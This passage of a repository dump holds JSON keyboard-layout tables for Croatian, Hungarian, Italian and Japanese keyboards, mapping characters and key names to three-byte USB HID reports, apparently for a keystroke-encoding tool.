\"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"BACKSPACE\":\"00,00,2a\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"-\":\"00,00,2d\",\n    \"=\":\"00,00,2e\",\n    \"[\":\"00,00,2f\",\n    \"]\":\"00,00,30\",\n    \"#\":\"00,00,31\",\n    \";\":\"00,00,33\",\n    \"'\":\"00,00,34\",\n    \"`\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"/\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"NUMLOCK\":\"00,00,53\",\n    \"KPAD_SLASH\":\"00,00,54\",\n    \"KPAD_ASTERISK\":\"00,00,55\",\n    \"KPAD_MINUS\":\"00,00,56\",\n    \"KPAD_PLUS\":\"00,00,57\",\n    \"KPAD_ENTER\":\"00,00,58\",\n    \"KPAD_1\":\"00,00,59\",\n    \"KPAD_2\":\"00,00,5a\",\n    \"KPAD_3\":\"00,00,5b\",\n    \"KPAD_4\":\"00,00,5c\",\n    \"KPAD_5\":\"00,00,5d\",\n    \"KPAD_6\":\"00,00,5e\",\n    \"KPAD_7\":\"00,00,5f\",\n    \"KPAD_8\":\"00,00,60\",\n    \"KPAD_9\":\"00,00,61\",\n    \"KPAD_0\":\"00,00,62\",\n    \"KPAD_DOT\":\"00,00,63\",\n    \"\\\\\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"£\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"^\":\"02,00,23\",\n    \"&\":\"02,00,24\",\n    \"*\":\"02,00,25\",\n    \"(\":\"02,00,26\",\n    \")\":\"02,00,27\",\n    \"_\":\"02,00,2d\",\n    \"+\":\"02,00,2e\",\n    \"{\":\"02,00,2f\",\n    \"}\":\"02,00,30\",\n    \"~\":\"02,00,31\",\n    \":\":\"02,00,33\",\n    \"@\":\"02,00,34\",\n    \"¬\":\"02,00,35\",\n    \"<\":\"02,00,36\",\n    \">\":\"02,00,37\",\n    \"?\":\"02,00,38\",\n    \"|\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"ALT-TAB\":\"04,00,2b\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"COMMAND-CTRL\":\"09,00,00\",\n    \"COMMAND-CTRL-SHIFT\":\"0b,00,00\",\n    \"COMMAND-OPTION\":\"0c,00,00\",\n    \"COMMAND-OPTION-SHIFT'\":\"0e,00,00\",\n    \"ALTGR\":\"40,00,00\",\n    \"ALTGR-TAB\":\"40,00,2b\",\n    \"¦\":\"40,00,35\",\n    \"CTRL-ALTGR\":\"41,00,00\",\n    \"ALTGR-SHIFT\":\"42,00,00\"\n}"
  },
  {
    "path": "languages/hr.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"+\":\"00,00,2e\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"#\":\"02,00,20\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"*\":\"02,00,2e\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"{\":\"40,00,05\",\n    \"[\":\"40,00,09\",\n    \"]\":\"40,00,0a\",\n    \"}\":\"40,00,11\",\n    \"\\\\\":\"40,00,14\",\n    \"@\":\"40,00,19\",\n    \"|\":\"40,00,1a\",\n    \"~\":\"40,00,1e\",\n    \"^\":\"40,00,20\",\n    \"`\":\"40,00,24\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,24\",\n    \"COMMAND-CTRL\":\"40,00,24\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,24\"\n}"
  },
  {
    "path": "languages/hu.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\" Hungarian QWERTZ language made by Skeleton022\",\n    \"__comment\":\" Added áéíóöőúüűÁÉÍÓÖŐÚÜŰ\",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"z\":\"00,00,1c\",\n    \"y\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"ö\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"ü\":\"00,00,2d\",\n    \"ó\":\"00,00,2e\",\n    \"ő\":\"00,00,2f\",\n    \"ú\":\"00,00,30\",\n    \"ű\":\"00,00,31\",\n    \"é\":\"00,00,33\",\n    \"á\":\"00,00,34\",\n    \"0\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"í\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Z\":\"02,00,1c\",\n    \"Y\":\"02,00,1d\",\n    \"'\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"+\":\"02,00,20\",\n    \"!\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"/\":\"02,00,23\",\n    \"=\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"Ö\":\"02,00,27\",\n    \"Ü\":\"02,00,2d\",\n    \"Ó\":\"02,00,2e\",\n    \"Ő\":\"02,00,2f\",\n    \"Ú\":\"02,00,30\",\n    \"Ű\":\"02,00,31\",\n    \"É\":\"02,00,33\",\n    \"Á\":\"02,00,34\",\n    \"?\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \"Í\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"COMMAND-CTRL-SHIFT\":\"12,00,00\",\n    \"COMMAND-CTRL\":\"12,00,00\",\n    \"COMMAND-OPTION-SHIFT'\":\"12,00,00\",\n    \"{\":\"40,00,05\",\n    \"&\":\"40,00,06\",\n    \"[\":\"40,00,09\",\n    \"]\":\"40,00,0a\",\n    \"}\":\"40,00,11\",\n    \"\\\\\":\"40,00,14\",\n    \"@\":\"40,00,19\",\n    \"|\":\"40,00,1a\",\n    \"#\":\"40,00,1b\",\n    \">\":\"40,00,1d\",\n    \"~\":\"40,00,1e\",\n    \"^\":\"40,00,20\",\n    \"`\":\"40,00,24\",\n    \"$\":\"40,00,33\",\n    \";\":\"40,00,36\",\n    \"*\":\"40,00,38\",\n    \"<\":\"40,00,64\"\n}\n"
  },
  {
    "path": "languages/it.json",
    "content": "{\n    \"__comment\":\"All numbers here are in hex format and 0x is ignored.\",\n    \"__comment\":\" \",\n    \"__comment\":\"This list is in ascending order of 3rd byte (HID Usage ID).\",\n    \"__comment\":\"  See section 10 Keyboard/Keypad Page (0x07)\",\n    \"__comment\":\"  of document USB HID Usage Tables Version 1.12.\",\n    \"__comment\":\" \",\n    \"__comment\":\"Definition of these 3 bytes can be found\",\n    \"__comment\":\"  in section B.1 Protocol 1 (Keyboard)\",\n    \"__comment\":\"  of document Device Class Definition for HID Version 1.11\",\n    \"__comment\":\"  - byte 1: Modifier keys\",\n    \"__comment\":\"  - byte 2: Reserved\",\n    \"__comment\":\"  - byte 3: Keycode 1\",\n    \"__comment\":\" \",\n    \"__comment\":\"Both documents can be obtained from link here\",\n    \"__comment\":\"  http://www.usb.org/developers/hidpage/\",\n    \"__comment\":\" \",\n    \"__comment\":\"A = LeftShift + a, { = LeftShift + [\",\n    \"__comment\":\" \",\n    \"a\":\"00,00,04\",\n    \"b\":\"00,00,05\",\n    \"c\":\"00,00,06\",\n    \"d\":\"00,00,07\",\n    \"e\":\"00,00,08\",\n    \"f\":\"00,00,09\",\n    \"g\":\"00,00,0a\",\n    \"h\":\"00,00,0b\",\n    \"i\":\"00,00,0c\",\n    \"j\":\"00,00,0d\",\n    \"k\":\"00,00,0e\",\n    \"l\":\"00,00,0f\",\n    \"m\":\"00,00,10\",\n    \"n\":\"00,00,11\",\n    \"o\":\"00,00,12\",\n    \"p\":\"00,00,13\",\n    \"q\":\"00,00,14\",\n    \"r\":\"00,00,15\",\n    \"s\":\"00,00,16\",\n    \"t\":\"00,00,17\",\n    \"u\":\"00,00,18\",\n    \"v\":\"00,00,19\",\n    \"w\":\"00,00,1a\",\n    \"x\":\"00,00,1b\",\n    \"y\":\"00,00,1c\",\n    \"z\":\"00,00,1d\",\n    \"1\":\"00,00,1e\",\n    \"2\":\"00,00,1f\",\n    \"3\":\"00,00,20\",\n    \"4\":\"00,00,21\",\n    \"5\":\"00,00,22\",\n    \"6\":\"00,00,23\",\n    \"7\":\"00,00,24\",\n    \"8\":\"00,00,25\",\n    \"9\":\"00,00,26\",\n    \"0\":\"00,00,27\",\n    \"ENTER\":\"00,00,28\",\n    \"ESC\":\"00,00,29\",\n    \"ESCAPE\":\"00,00,29\",\n    \"TAB\":\"00,00,2b\",\n    \" \":\"00,00,2c\",\n    \"SPACE\":\"00,00,2c\",\n    \"'\":\"00,00,2d\",\n    \"+\":\"00,00,30\",\n    \"\\\\\":\"00,00,35\",\n    \"`\":\"00,00,35\",\n    \",\":\"00,00,36\",\n    \".\":\"00,00,37\",\n    \"-\":\"00,00,38\",\n    \"CAPSLOCK\":\"00,00,39\",\n    \"F1\":\"00,00,3a\",\n    \"F2\":\"00,00,3b\",\n    \"F3\":\"00,00,3c\",\n    \"F4\":\"00,00,3d\",\n    \"F5\":\"00,00,3e\",\n    \"F6\":\"00,00,3f\",\n    \"F7\":\"00,00,40\",\n    \"F8\":\"00,00,41\",\n    \"F9\":\"00,00,42\",\n    \"F10\":\"00,00,43\",\n    \"F11\":\"00,00,44\",\n    \"F12\":\"00,00,45\",\n    \"PRINTSCREEN\":\"00,00,46\",\n    \"SCROLLLOCK\":\"00,00,47\",\n    \"BREAK\":\"00,00,48\",\n    \"PAUSE\":\"00,00,48\",\n    \"INSERT\":\"00,00,49\",\n    \"HOME\":\"00,00,4a\",\n    \"PAGEUP\":\"00,00,4b\",\n    \"DEL\":\"00,00,4c\",\n    \"DELETE\":\"00,00,4c\",\n    \"END\":\"00,00,4d\",\n    \"PAGEDOWN\":\"00,00,4e\",\n    \"RIGHT\":\"00,00,4f\",\n    \"RIGHTARROW\":\"00,00,4f\",\n    \"LEFT\":\"00,00,50\",\n    \"LEFTARROW\":\"00,00,50\",\n    \"DOWN\":\"00,00,51\",\n    \"DOWNARROW\":\"00,00,51\",\n    \"UP\":\"00,00,52\",\n    \"UPARROW\":\"00,00,52\",\n    \"<\":\"00,00,64\",\n    \"APP\":\"00,00,65\",\n    \"MENU\":\"00,00,65\",\n    \"ALT-TAB\":\"00,00,71\",\n    \"CONTROL\":\"01,00,00\",\n    \"CTRL\":\"01,00,00\",\n    \"SHIFT\":\"02,00,00\",\n    \"A\":\"02,00,04\",\n    \"B\":\"02,00,05\",\n    \"C\":\"02,00,06\",\n    \"D\":\"02,00,07\",\n    \"E\":\"02,00,08\",\n    \"F\":\"02,00,09\",\n    \"G\":\"02,00,0a\",\n    \"H\":\"02,00,0b\",\n    \"I\":\"02,00,0c\",\n    \"J\":\"02,00,0d\",\n    \"K\":\"02,00,0e\",\n    \"L\":\"02,00,0f\",\n    \"M\":\"02,00,10\",\n    \"N\":\"02,00,11\",\n    \"O\":\"02,00,12\",\n    \"P\":\"02,00,13\",\n    \"Q\":\"02,00,14\",\n    \"R\":\"02,00,15\",\n    \"S\":\"02,00,16\",\n    \"T\":\"02,00,17\",\n    \"U\":\"02,00,18\",\n    \"V\":\"02,00,19\",\n    \"W\":\"02,00,1a\",\n    \"X\":\"02,00,1b\",\n    \"Y\":\"02,00,1c\",\n    \"Z\":\"02,00,1d\",\n    \"!\":\"02,00,1e\",\n    \"\\\"\":\"02,00,1f\",\n    \"$\":\"02,00,21\",\n    \"%\":\"02,00,22\",\n    \"&\":\"02,00,23\",\n    \"/\":\"02,00,24\",\n    \"(\":\"02,00,25\",\n    \")\":\"02,00,26\",\n    \"=\":\"02,00,27\",\n    \"?\":\"02,00,2d\",\n    \"^\":\"02,00,2e\",\n    \"*\":\"02,00,30\",\n    \"|\":\"02,00,35\",\n    \";\":\"02,00,36\",\n    \":\":\"02,00,37\",\n    \"_\":\"02,00,38\",\n    \">\":\"02,00,64\",\n    \"CTRL-SHIFT\":\"03,00,00\",\n    \"ALT\":\"04,00,00\",\n    \"CTRL-ALT\":\"05,00,00\",\n    \"ALT-SHIFT\":\"06,00,00\",\n    \"COMMAND\":\"08,00,00\",\n    \"GUI\":\"08,00,00\",\n    \"WINDOWS\":\"08,00,00\",\n    \"COMMAND-OPTION\":\"12,00,00\",\n    \"[\":\"40,00,2f\",\n    \"]\":\"40,00,30\",\n    \"@\":\"40,00,33\",\n    \"#\":\"40,00,34\",\n    \"~\":\"40,00,34\",\n    \"{\":\"42,00,2f\",\n    \"}\":\"42,00,30\",\n    \"COMMAND-CTRL-SHIFT\":\"40,00,30\",\n    \"COMMAND-CTRL\":\"40,00,30\",\n    \"COMMAND-OPTION-SHIFT'\":\"40,00,30\"\n}\n"
  },
  {
    "path": "languages/jp.json",
    "content": "{\n   \"__comment\":  \"All numbers here are in hex format and 0x is ignored.\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"This list is in ascending order of 3rd byte (HID Usage ID).\",\n   \"__comment\":  \"  See section 10 Keyboard/Keypad Page (0x07)\",\n   \"__comment\":  \"  of document USB HID Usage Tables Version 1.12.\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"Definition of these 3 bytes can be found\",\n   \"__comment\":  \"  in section B.1 Protocol 1 (Keyboard)\",\n   \"__comment\":  \"  of document Device Class Definition for HID Version 1.11\",\n   \"__comment\":  \"  - byte 1: Modifier keys\",\n   \"__comment\":  \"  - byte 2: Reserved\",\n   \"__comment\":  \"  - byte 3: Keycode 1\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"Both documents can be obtained from link here\",\n   \"__comment\":  \"  http://www.usb.org/developers/hidpage/\",\n   \"__comment\":  \" \",\n   \"__comment\":  \"A = LeftShift + a, { = LeftShift + [\",\n   \"__comment\":  \" \",\n   \"CTRL\":       \"01,00,00\",\n   \"CONTROL\":    \"01,00,00\",\n   \"SHIFT\":      \"02,00,00\",\n   \"ALT\":        \"04,00,00\",\n   \"GUI\":        \"08,00,00\",\n   \"WINDOWS\":    \"08,00,00\",\n   \"CTRL-ALT\":   \"05,00,00\",\n   \"CTRL-SHIFT\": \"03,00,00\",\n   \"ALT-SHIFT\":  \"06,00,00\",\n   \"__comment\":             \"Below 5 key combinations are for Mac OSX\",\n   \"__comment\":             \"Example: (COMMAND-OPTION SHIFT t) to open terminal\",\n   \"COMMAND\":               \"08,00,00\",\n   \"COMMAND-CTRL\":          \"09,00,00\",\n   \"COMMAND-CTRL-SHIFT\":    \"0B,00,00\",\n   \"COMMAND-OPTION\":        \"0C,00,00\",\n   \"COMMAND-OPTION-SHIFT\":  \"0E,00,00\",\n   \"a\":          \"00,00,04\",\n   \"A\":          \"02,00,04\",\n   \"b\":          \"00,00,05\",\n   \"B\":          \"02,00,05\",\n   \"c\":          \"00,00,06\",\n   \"C\":          \"02,00,06\",\n   \"d\":          \"00,00,07\",\n   \"D\":          \"02,00,07\",\n   \"e\":          \"00,00,08\",\n   \"E\":          \"02,00,08\",\n   \"f\":          \"00,00,09\",\n   \"F\":          \"02,00,09\",\n   \"g\":          \"00,00,0a\",\n   \"G\":          \"02,00,0a\",\n   \"h\":          \"00,00,0b\",\n   \"H\":          \"02,00,0b\",\n   \"i\":          \"00,00,0c\",\n   \"I\":          \"02,00,0c\",\n   \"j\":          \"00,00,0d\",\n   \"J\":          \"02,00,0d\",\n   \"k\":          \"00,00,0e\",\n   \"K\":          \"02,00,0e\",\n   \"l\":          \"00,00,0f\",\n   \"L\":          \"02,00,0f\",\n   \"m\":          \"00,00,10\",\n   \"M\":          \"02,00,10\",\n   \"n\":          \"00,00,11\",\n   \"N\":          \"02,00,11\",\n   \"o\":          \"00,00,12\",\n   \"O\":          \"02,00,12\",\n   \"p\":          \"00,00,13\",\n   \"P\":          \"02,00,13\",\n   \"q\":          \"00,00,14\",\n   \"Q\":          \"02,00,14\",\n   \"r\":          